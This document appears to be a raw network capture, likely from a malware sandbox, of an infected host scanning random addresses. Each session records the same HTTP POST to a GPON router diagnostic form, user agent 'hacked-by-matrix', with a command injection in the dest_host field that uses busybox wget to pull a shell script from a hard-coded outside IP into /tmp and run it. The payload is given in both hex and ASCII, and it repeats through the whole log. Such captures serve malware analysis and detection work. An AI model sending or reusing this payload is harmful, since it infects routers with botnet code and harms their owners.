Mar 2, 2024 12:37:51.050843954 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.23	33428	118.154.9.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050863028 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.23	43478	2.38.87.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050863981 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.23	36634	79.130.3.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050872087 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.23	34492	210.79.75.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050874949 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.23	44718	37.11.214.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050914049 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.23	35264	212.230.32.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050915956 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.23	34450	37.107.247.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050951958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.23	57710	109.233.63.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050951958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.23	39442	37.121.124.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050959110 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.23	48242	42.198.146.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050965071 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.23	46934	2.13.150.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050993919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.23	46210	5.206.167.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051006079 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.23	44710	79.101.109.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051006079 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.23	41440	118.146.217.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051006079 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.23	56364	42.218.219.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051048040 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.23	41936	118.165.238.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051060915 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.23	48552	178.254.175.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051094055 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.23	38910	5.71.102.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051096916 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.23	54212	212.126.13.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051137924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.23	39010	42.210.248.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051139116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.23	49836	212.20.202.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051198006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.23	56566	210.196.161.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051213980 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.23	40160	212.237.72.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051213980 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.23	40406	118.142.33.3	443

Timestamp	Bytes transferred	Direction	Data
